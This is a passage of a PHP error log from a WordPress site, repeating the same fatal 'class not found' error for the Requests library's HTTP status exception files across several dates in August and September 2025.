  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[26-Aug-2025 06:29:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[26-Aug-2025 06:29:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[26-Aug-2025 06:29:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[26-Aug-2025 06:29:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[26-Aug-2025 06:29:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[26-Aug-2025 06:29:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[26-Aug-2025 06:29:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[26-Aug-2025 06:29:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[26-Aug-2025 06:29:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[26-Aug-2025 06:29:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[26-Aug-2025 06:29:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[26-Aug-2025 06:29:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[26-Aug-2025 06:29:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[26-Aug-2025 06:29:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[26-Aug-2025 06:29:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[26-Aug-2025 06:29:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[26-Aug-2025 06:29:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[26-Aug-2025 06:29:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[26-Aug-2025 06:29:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[26-Aug-2025 06:29:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[04-Sep-2025 00:29:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[04-Sep-2025 00:29:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[04-Sep-2025 00:29:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[04-Sep-2025 00:29:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[04-Sep-2025 00:29:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[04-Sep-2025 00:29:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[04-Sep-2025 00:29:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[04-Sep-2025 00:29:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[04-Sep-2025 00:29:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[04-Sep-2025 00:29:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[04-Sep-2025 00:29:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[04-Sep-2025 00:29:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[04-Sep-2025 00:29:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[04-Sep-2025 00:29:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[04-Sep-2025 00:29:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[04-Sep-2025 00:29:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[04-Sep-2025 00:29:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[04-Sep-2025 00:29:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[04-Sep-2025 00:29:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[04-Sep-2025 00:29:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[04-Sep-2025 00:29:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[04-Sep-2025 00:29:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[04-Sep-2025 00:29:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[04-Sep-2025 00:29:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[04-Sep-2025 00:29:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[04-Sep-2025 00:29:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[04-Sep-2025 00:29:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[04-Sep-2025 00:29:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[04-Sep-2025 00:29:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[04-Sep-2025 00:29:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[04-Sep-2025 00:29:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[04-Sep-2025 00:29:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[04-Sep-2025 00:29:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[04-Sep-2025 00:48:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[04-Sep-2025 00:48:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[04-Sep-2025 00:48:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[04-Sep-2025 00:48:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[04-Sep-2025 00:48:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[04-Sep-2025 00:48:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[04-Sep-2025 00:48:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[04-Sep-2025 00:48:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[04-Sep-2025 00:48:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[04-Sep-2025 00:48:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[04-Sep-2025 00:49:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[04-Sep-2025 00:49:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[04-Sep-2025 00:49:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[04-Sep-2025 00:49:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[04-Sep-2025 00:49:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[04-Sep-2025 00:49:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[04-Sep-2025 00:49:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[04-Sep-2025 00:49:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[04-Sep-2025 00:49:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[04-Sep-2025 00:49:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[04-Sep-2025 00:49:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[04-Sep-2025 00:49:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[04-Sep-2025 00:49:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[04-Sep-2025 00:49:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[04-Sep-2025 00:49:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[04-Sep-2025 00:49:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[04-Sep-2025 00:49:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[04-Sep-2025 00:49:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[04-Sep-2025 00:49:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[04-Sep-2025 00:50:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[04-Sep-2025 00:50:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[04-Sep-2025 00:50:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[04-Sep-2025 00:50:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[06-Sep-2025 01:49:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[06-Sep-2025 01:49:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[06-Sep-2025 01:49:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[06-Sep-2025 01:49:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
